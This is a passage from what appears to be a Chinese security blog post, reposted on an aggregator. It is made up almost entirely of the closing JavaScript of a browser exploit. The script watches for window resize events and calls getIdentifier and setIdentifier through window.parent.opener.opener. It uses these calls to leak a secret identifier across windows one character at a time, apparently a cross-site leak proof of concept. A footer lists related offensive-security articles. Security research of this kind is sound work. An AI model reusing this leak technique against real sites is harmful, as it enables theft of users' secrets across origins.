if (solvedIdentifier.length > 12) trySolve(); }
let locked = false; setInterval(async () => { const { innerHeight, innerWidth } = window; if (innerHeight === lastHeight && innerWidth === lastWidth) { return; } checks++; if (checks < checksNeeded || checks % checksNeeded !== 0) { return; } const currentIdentifier = window.parent.opener.opener.getIdentifier();
if (solvedIdentifier.length >= currentIdentifier.length) { return; }
const currentChar = currentIdentifier.substr(-1); const targetedChar = chars[chars.indexOf(currentChar) - 1]; if (!targetedChar) return; const nextChar = chars[chars.indexOf(currentChar) + 1];
console.log("currentIdentifier:", currentIdentifier); console.log("currentChar:", currentChar); console.log("targetedChar:", targetedChar); console.log("nextChar:", nextChar);
if (innerWidth > lastWidth) { setTimeout(() => (locked = false), 1000); if (!locked) { locked = true; lastWidth = innerWidth + 100; await foundChar(targetedChar); } return; }
if (innerHeight > lastHeight) { locked = false;
await window.parent.opener.opener.setIdentifier( `${solvedIdentifier}${nextChar}` ); lastWidth = innerWidth; lastHeight = innerHeight; } }, 100);</script> </body></html>

- End -
精彩推荐
Ryuk紧盯“有缝的蛋”,利用学生盗版软件发起攻击
【技术分享】glibc 2.29-2.32 off by null bypass
【技术分享】初识——JavaAgent的宿命
【技术分享】红队攻防基础建设-神隐之路


戳“阅读原文”查看更多内容

文章来源: https://wiki.ioin.in/url/9NrQ
如有侵权请联系:admin#unsafe.sh